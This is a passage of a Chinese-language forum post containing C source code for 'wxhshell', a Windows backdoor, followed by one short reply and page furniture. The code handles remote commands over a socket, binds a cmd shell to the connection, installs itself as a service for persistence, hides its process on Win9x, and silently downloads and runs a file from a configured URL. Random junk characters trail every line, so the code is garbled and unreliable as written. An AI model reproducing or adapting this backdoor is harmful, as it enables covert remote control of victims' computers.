  if(DownloadFile(cmd,wsh)) W4N$]D=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eC1cE  
  else '{J!5x?L^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p5*i d5  
  } Y A;S'dxY  
  else { IlwY5iL  
E_xpq  
    switch(cmd[0]) { mFvw s  
  H}:apRb  
  // 帮助 @A)gsDt9A  
  case '?': { [p]Ayo$~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7c+u+Yet  
    break; %3q@\:s  
  } 0s4%22  
  // 安装 j"c"sF\q  
  case 'i': { r`" ?K]rI  
    if(Install()) b2Ct^`|M5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d=xweU<  
    else m86w{b$8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p<$z!|7m  
    break; 8(BLS{-"<  
    } Q<"zpwHR  
  // 卸载 Jk`A}  
  case 'r': { wZ *m  
    if(Uninstall()) N^)L@6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r|&qXb x  
    else fx9c1h9s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f~E'0f_  
    break; M'*  Y  
    } 0|d%@  
  // 显示 wxhshell 所在路径 qwnC{  
  case 'p': { 9#1lxT4%  
    char svExeFile[MAX_PATH]; C[~b6 UP  
    strcpy(svExeFile,"\n\r"); x5{ zGv.j  
      strcat(svExeFile,ExeFile); ?+51 B-  
        send(wsh,svExeFile,strlen(svExeFile),0); n2$*Z6.G  
    break; * F&C`]  
    } e\/Lcng  
  // 重启 6tP^_9njy  
  case 'b': { iA=9Lel  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Nn%{K a  
    if(Boot(REBOOT)) +f|u5c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +`\C_i-  
    else { @ j' I  
    closesocket(wsh); ji">} -  
    ExitThread(0); n- p|7N  
    } Cgt{5  
    break; Y0U:i.)  
    } p=eSHs{>A  
  // 关机 [t,7H  
  case 'd': { W| ~Ehg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U{HJNftdpm  
    if(Boot(SHUTDOWN)) sHKT]^7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i5|!M IY  
    else { ?(hdV ?8)P  
    closesocket(wsh); yay{lP}b"  
    ExitThread(0); RzNv|   
    } 7ej"q  
    break; LR}b^QU7  
    } ~`T3 i  
  // 获取shell \U,.!'+  
  case 's': { Xa+ u>1"2"  
    CmdShell(wsh); Ao 1*a%-.  
    closesocket(wsh); DaaLRMQ=  
    ExitThread(0); :tNH Cx  
    break; v2dCna\  
  } jiz"`,-},O  
  // 退出 )j!22tlL  
  case 'x': { NfKi,^O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r\a9<nZ{  
    CloseIt(wsh); wn5CaP(]8  
    break; ]{Iy<  
    } &rk /ya[  
  // 离开 vxK}f*d  
  case 'q': { N }Z"$4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {B uh5U,  
    closesocket(wsh); )9J&M6LX  
    WSACleanup(); 'Aai.PE:  
    exit(1); YWjw`,EA(  
    break; $Y 7q2  
        } < JA5.6<=  
  } Bxak[>/  
  } \,lgv  
Fb VtyQz  
  // 提示信息 E[^66(KR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :Q"]W!kCs  
} W8R@Pf  
  } _G,`s7Q,w  
z`5d,M  
  return; X5'foFE'  
} T/UhZ4(V  
-@e9!/GP,  
// shell模块句柄 } 5FdX3YR  
int CmdShell(SOCKET sock) 5 J61PuH   
{ Sr/"'w;  
STARTUPINFO si; QVm3(;&'  
ZeroMemory(&si,sizeof(si)); {088j?[hzk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vEOoG>'Zq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :J5xO%WA(  
PROCESS_INFORMATION ProcessInfo; P$4G2>D8dg  
char cmdline[]="cmd"; MW6d-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S2h?Q $e3  
  return 0; D`2Iy.|!  
} Mq8jPjL  
},e f(  
// 自身启动模式 D~G24k6b3  
int StartFromService(void) ?,O{,2}  
{ D*I%=);B_  
typedef struct ?(n|ykXwc  
{ la[xbv   
  DWORD ExitStatus; [0w @0?[  
  DWORD PebBaseAddress; 0sLR5A  
  DWORD AffinityMask; c4k3|=f  
  DWORD BasePriority; b<~\IPY  
  ULONG UniqueProcessId; f^Lw3|rq4  
  ULONG InheritedFromUniqueProcessId; b7p&EK"Hm  
}   PROCESS_BASIC_INFORMATION; z;x $tO  
1nye.i~  
PROCNTQSIP NtQueryInformationProcess; &ScADmZP^d  
eI/9uR%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jo1n>Mo-j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X~T"n<:a>  
~8o's`  
  HANDLE             hProcess; SoI"a^fY  
  PROCESS_BASIC_INFORMATION pbi; ]4ya$%A  
rp (nGiI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RU|{'zC\v  
  if(NULL == hInst ) return 0; i"p)%q~ z  
HY4X;^hF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ML^c-xY(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T XWi5f[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a2 e-Q({  
N=YRYU o  
  if (!NtQueryInformationProcess) return 0; s+8 v7ZJ  
q["CT&0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $*tq$DZ4&  
  if(!hProcess) return 0; xv4_q-r[  
lU`]yL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  K!VIY|U  
_=Ed>2M)no  
  CloseHandle(hProcess); NjIe2)}'  
8%nb1CA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .^6"nnfA#  
if(hProcess==NULL) return 0; 2;VggPpT  
Z?kLAhy!  
HMODULE hMod; C: @T5m  
char procName[255]; yCy4t6`e  
unsigned long cbNeeded; ,A T!:&<X  
NguJ[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0'{0kE[wn  
/f@VRME  
  CloseHandle(hProcess); nw){}g  
BWamF{\d1a  
if(strstr(procName,"services")) return 1; // 以服务启动 i Tg?JoE2  
VHGOVH,  
  return 0; // 注册表启动 HS =qK  
} k>I[U}h  
9=p^E#d  
// 主模块 })rJU/  
int StartWxhshell(LPSTR lpCmdLine) i/N4uq}'A<  
{ [4KW64%l  
  SOCKET wsl; 0wU8PZ Nj  
BOOL val=TRUE; $@<qaR{t\  
  int port=0; RsIR}.*  
  struct sockaddr_in door; <2Lcy&w_M  
Bvj-LT=)  
  if(wscfg.ws_autoins) Install(); {%.FIw k  
f0]8/)  
port=atoi(lpCmdLine); _C$JO   
sS/#)/B  
if(port<=0) port=wscfg.ws_port; Rd7Xs  
,iY/\ U''  
  WSADATA data; ~0aWjMc(>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _-$O6eZ  
eY^;L_7}p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0hnTHlk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :SjTkfU  
  door.sin_family = AF_INET; ;$gZ?&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0vbiq  
  door.sin_port = htons(port); u;rK.3o  
uKHkC.g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GP6-5Y"8  
closesocket(wsl); }JyWy_Y  
return 1; WD c2Qt  
} *&]x-p1m  
bI/d(Q%#<  
  if(listen(wsl,2) == INVALID_SOCKET) { H7bdL 8/  
closesocket(wsl); iTJSW  
return 1; t>p!qKrE'J  
} y1z<{'2x  
  Wxhshell(wsl); T|dQY~n~  
  WSACleanup(); *vqlY[2Ax  
`oQ)qa_  
return 0; V~ph1Boz2  
}GX[N\$N  
} 22lC^)`TE  
SZW+<X  
// 以NT服务方式启动 M il ![A1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +Gv{Apd"  
{ ,b!!h]t  
DWORD   status = 0; =@$G3DM  
  DWORD   specificError = 0xfffffff; EooQLZ  
p"" #Gbwj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~Vq<nkWS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e]R`B}vO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Bwv@D4bii  
  serviceStatus.dwWin32ExitCode     = 0; 7 \)OWp  
  serviceStatus.dwServiceSpecificExitCode = 0; ej-x^G?C  
  serviceStatus.dwCheckPoint       = 0; MN1 kR  
  serviceStatus.dwWaitHint       = 0; HPJ\]HV(  
Gu} `X23  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l`D^)~o8  
  if (hServiceStatusHandle==0) return; <8#Q5   
s6Ox!)&  
status = GetLastError(); Zo`Ku+RL2'  
  if (status!=NO_ERROR) VbR /k,Co  
{ AY{#!RtV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Fr/3Qp@S  
    serviceStatus.dwCheckPoint       = 0; ? ->:,I=<~  
    serviceStatus.dwWaitHint       = 0; dm;H0v+Y'  
    serviceStatus.dwWin32ExitCode     = status; J!r,ktO^U?  
    serviceStatus.dwServiceSpecificExitCode = specificError; ivL}\~L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5y]1v  
    return; \z"0lAv"  
  } cm^:3(yYX  
|^&n\vXv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m>dZ n  
  serviceStatus.dwCheckPoint       = 0; ?Ne@OMc  
  serviceStatus.dwWaitHint       = 0; =\CJsS.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H}G=%j0  
} =*EIe z*.x  
@pq#?  
// 处理NT服务事件,比如:启动、停止 *xm(K +j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *=UxX ] 0y  
{ Pp-\#WJ  
switch(fdwControl) ie4keVlXc  
{ 9$[I~I#z  
case SERVICE_CONTROL_STOP: lR] z8 &  
  serviceStatus.dwWin32ExitCode = 0; g$C-G5/bjD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D5]4(]k&  
  serviceStatus.dwCheckPoint   = 0; c32IO&W4  
  serviceStatus.dwWaitHint     = 0; .Cv0Ze  
  { S;a'@5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K"~Tk`[0Q  
  } h%'4V<V  
  return; ShXk\"  
case SERVICE_CONTROL_PAUSE: yh9fHN)F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {ctEjgiE  
  break; N[e QT  
case SERVICE_CONTROL_CONTINUE: cBICG",TA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H:9Z.|{Gv  
  break; 56 6vjE  
case SERVICE_CONTROL_INTERROGATE: JNhHQvi\  
  break; HU[a b  
}; \~V Z Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9=,^^,q  
} Wn;B~  
q-c9YOz_  
// 标准应用程序主函数 Z9cg,#(D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [e1kfw  
{ /Mk85C79  
@**@W[EM  
// 获取操作系统版本 a& >(*PQ  
OsIsNt=GetOsVer(); ua$H"(#c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >~O36q^w  
hw[jVx  
  // 从命令行安装 +$]eA'Bh@  
  if(strpbrk(lpCmdLine,"iI")) Install(); TBq;#+1W  
|n9~2R   
  // 下载执行文件 ;8WgbR)ZLU  
if(wscfg.ws_downexe) { qyXx`'e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G9?6qb:  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^X2U A{  
} HI}$Z =C  
mNcoR^(VN  
if(!OsIsNt) { cSdkhRAn  
// 如果时win9x,隐藏进程并且设置为注册表启动 CPRv"T;?  
HideProc(); 4%l @   
StartWxhshell(lpCmdLine); emZ^d/A  
} En@] xvE  
else `x;8,7W;B  
  if(StartFromService()) ) V}q7\G~  
  // 以服务方式启动 k+k&}8e  
  StartServiceCtrlDispatcher(DispatchTable); .54E*V1  
else f.f5f%lO~  
  // 普通方式启动  U)oH@/q  
  StartWxhshell(lpCmdLine); =GO/r; 4  
f"XFf@!  
return 0; k< b`v&G  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八